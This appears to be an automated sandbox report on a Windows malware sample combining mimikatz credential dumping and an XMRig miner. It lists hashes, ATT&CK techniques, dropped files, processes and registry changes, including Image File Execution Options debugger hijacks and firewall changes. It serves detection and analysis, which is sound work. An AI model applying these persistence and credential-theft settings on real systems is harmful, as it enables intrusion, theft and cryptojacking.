mimikatz | 9d0ad70aab156ab976ffb22a9a9187ed6da74b80cb1ab8738f7ae49a57d06a83

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
23-10-2024 06:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.exe
Size

10.0MB
MD5

42127d9ce6bc638ff665c4cbf819e5a8
SHA1

33c0c56b203dba5d918647297b1df04238031c8d
SHA256

9d0ad70aab156ab976ffb22a9a9187ed6da74b80cb1ab8738f7ae49a57d06a83
SHA512

a0322ce1c8cb00df69cd903e33e7e29870e92802a17e9465d766a384cbfd883ecb47f6d10702fb2d98c0c0c9b631391e8f81b21453bd0cc974ee9139015aa4d5
SSDEEP

196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

tmyfwky.exe

description	pid	Process	procid_target
PID 4536 created 2088	4536	tmyfwky.exe	37

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (27757) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 12 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/1236-181-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	xmrig
behavioral2/memory/1236-182-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	xmrig
behavioral2/memory/1236-200-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	xmrig
behavioral2/memory/1236-213-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	xmrig
behavioral2/memory/1236-221-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	xmrig
behavioral2/memory/1236-232-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	xmrig
behavioral2/memory/1236-250-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	xmrig
behavioral2/memory/1236-258-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	xmrig
behavioral2/memory/1236-268-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	xmrig
behavioral2/memory/1236-362-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	xmrig
behavioral2/memory/1236-363-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	xmrig
behavioral2/memory/1236-365-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4036-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/4036-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x000a000000023b7c-6.dat	mimikatz
behavioral2/memory/5056-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/4128-138-0x00007FF686650000-0x00007FF68673E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

Processes:

wpcap.exetmyfwky.exe

description	ioc	Process
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	tmyfwky.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	tmyfwky.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

Processes:

tmyfwky.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	tmyfwky.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	tmyfwky.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

Processes:

netsh.exenetsh.exe

pid	Process
64	netsh.exe
4324	netsh.exe

Executes dropped EXE 29 IoCs

Processes:

tmyfwky.exetmyfwky.exewpcap.exebzbnzbyct.exevfshost.execmzbnyytn.exexohudmc.exeqigmew.exelfbpkn.execmzbnyytn.exetmyfwky.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.execmzbnyytn.exemidctcinn.exetmyfwky.exe

pid	Process
5056	tmyfwky.exe
4536	tmyfwky.exe
4928	wpcap.exe
3716	bzbnzbyct.exe
4128	vfshost.exe
4832	cmzbnyytn.exe
5016	xohudmc.exe
1728	qigmew.exe
1236	lfbpkn.exe
4052	cmzbnyytn.exe
888	tmyfwky.exe
3556	cmzbnyytn.exe
2056	cmzbnyytn.exe
2704	cmzbnyytn.exe
4492	cmzbnyytn.exe
3716	cmzbnyytn.exe
2108	cmzbnyytn.exe
4952	cmzbnyytn.exe
4668	cmzbnyytn.exe
3316	cmzbnyytn.exe
4604	cmzbnyytn.exe
4756	cmzbnyytn.exe
4792	cmzbnyytn.exe
3340	cmzbnyytn.exe
1356	cmzbnyytn.exe
3352	cmzbnyytn.exe
2476	cmzbnyytn.exe
3144	midctcinn.exe
5976	tmyfwky.exe

Loads dropped DLL 12 IoCs

Processes:

wpcap.exebzbnzbyct.exe

pid	Process
4928	wpcap.exe
4928	wpcap.exe
4928	wpcap.exe
4928	wpcap.exe
4928	wpcap.exe
4928	wpcap.exe
4928	wpcap.exe
4928	wpcap.exe
4928	wpcap.exe
3716	bzbnzbyct.exe
3716	bzbnzbyct.exe
3716	bzbnzbyct.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
80	ifconfig.me
81	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

Processes:

wpcap.exetmyfwky.exexohudmc.exe

description	ioc	Process
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	tmyfwky.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	tmyfwky.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BB4F4B8E2B2CFC476849B6B724C153FF	tmyfwky.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	tmyfwky.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	tmyfwky.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	tmyfwky.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	tmyfwky.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	tmyfwky.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	tmyfwky.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	tmyfwky.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BB4F4B8E2B2CFC476849B6B724C153FF	tmyfwky.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\qigmew.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\qigmew.exe	xohudmc.exe

UPX packed file 37 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/files/0x0007000000023c66-136.dat	upx
behavioral2/memory/4128-135-0x00007FF686650000-0x00007FF68673E000-memory.dmp	upx
behavioral2/memory/4128-138-0x00007FF686650000-0x00007FF68673E000-memory.dmp	upx
behavioral2/files/0x0007000000023c72-141.dat	upx
behavioral2/memory/4832-142-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/4832-155-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/files/0x0007000000023c6f-164.dat	upx
behavioral2/memory/1236-165-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	upx
behavioral2/memory/4052-175-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/3556-179-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/1236-181-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	upx
behavioral2/memory/1236-182-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	upx
behavioral2/memory/2056-185-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/2704-189-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/4492-193-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/3716-197-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/1236-200-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	upx
behavioral2/memory/2108-202-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/4952-206-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/4668-210-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/1236-213-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	upx
behavioral2/memory/3316-215-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/4604-219-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/1236-221-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	upx
behavioral2/memory/4756-224-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/4792-228-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/3340-231-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/1236-232-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	upx
behavioral2/memory/1356-234-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/3352-236-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/2476-238-0x00007FF6E1C30000-0x00007FF6E1C8B000-memory.dmp	upx
behavioral2/memory/1236-250-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	upx
behavioral2/memory/1236-258-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	upx
behavioral2/memory/1236-268-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	upx
behavioral2/memory/1236-362-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	upx
behavioral2/memory/1236-363-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	upx
behavioral2/memory/1236-365-0x00007FF7EF6D0000-0x00007FF7EF7F0000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

Processes:

wpcap.exe

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

Processes:

tmyfwky.exe2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.execmd.exemidctcinn.exe

description	ioc	Process
File created	C:\Windows\itcctjlje\unptrtjvi\wpcap.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\schoedcl.xml	tmyfwky.exe
File created	C:\Windows\itcctjlje\unptrtjvi\midctcinn.exe	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\tibe-2.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\spoolsrv.xml	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\docmicfg.xml	tmyfwky.exe
File created	C:\Windows\cbdnbivt\svschost.xml	tmyfwky.exe
File created	C:\Windows\itcctjlje\upbdrjv\swrpwe.exe	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\AppCapture32.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\Corporate\vfshost.exe	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\svschost.exe	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\schoedcl.exe	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\vimpcsvc.xml	tmyfwky.exe
File created	C:\Windows\cbdnbivt\vimpcsvc.xml	tmyfwky.exe
File created	C:\Windows\cbdnbivt\schoedcl.xml	tmyfwky.exe
File opened for modification	C:\Windows\cbdnbivt\svschost.xml	tmyfwky.exe
File created	C:\Windows\ime\tmyfwky.exe	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\schoedcl.xml	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\svschost.xml	tmyfwky.exe
File created	C:\Windows\itcctjlje\Corporate\mimilib.dll	tmyfwky.exe
File opened for modification	C:\Windows\cbdnbivt\tmyfwky.exe	2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\crli-0.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\libxml2.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\vimpcsvc.xml	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\ucl.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\spoolsrv.exe	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\Shellcode.ini	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\trch-1.dll	tmyfwky.exe
File created	C:\Windows\cbdnbivt\tmyfwky.exe	2024-10-23_42127d9ce6bc638ff665c4cbf819e5a8_hacktools_icedid_mimikatz.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\spoolsrv.xml	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\trfo-2.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\vimpcsvc.exe	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\docmicfg.exe	tmyfwky.exe
File created	C:\Windows\cbdnbivt\spoolsrv.xml	tmyfwky.exe
File created	C:\Windows\itcctjlje\unptrtjvi\scan.bat	tmyfwky.exe
File created	C:\Windows\itcctjlje\unptrtjvi\wpcap.exe	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\exma-1.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\svschost.xml	tmyfwky.exe
File created	C:\Windows\itcctjlje\unptrtjvi\Packet.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\coli-0.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\libeay32.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\xdvl-0.dll	tmyfwky.exe
File opened for modification	C:\Windows\cbdnbivt\docmicfg.xml	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\posh-0.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\ssleay32.dll	tmyfwky.exe
File opened for modification	C:\Windows\cbdnbivt\schoedcl.xml	tmyfwky.exe
File created	C:\Windows\itcctjlje\Corporate\mimidrv.sys	tmyfwky.exe
File opened for modification	C:\Windows\itcctjlje\Corporate\log.txt	cmd.exe
File created	C:\Windows\cbdnbivt\docmicfg.xml	tmyfwky.exe
File opened for modification	C:\Windows\cbdnbivt\spoolsrv.xml	tmyfwky.exe
File opened for modification	C:\Windows\cbdnbivt\vimpcsvc.xml	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\AppCapture64.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\unptrtjvi\bzbnzbyct.exe	tmyfwky.exe
File opened for modification	C:\Windows\itcctjlje\unptrtjvi\Packet.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\cnli-1.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\zlib1.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\docmicfg.xml	tmyfwky.exe
File created	C:\Windows\itcctjlje\UnattendGC\specials\tucl-1.dll	tmyfwky.exe
File created	C:\Windows\itcctjlje\unptrtjvi\ip.txt	tmyfwky.exe
File opened for modification	C:\Windows\itcctjlje\unptrtjvi\Result.txt	midctcinn.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid	Process
4008	sc.exe
4132	sc.exe
2268	sc.exe
2860	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
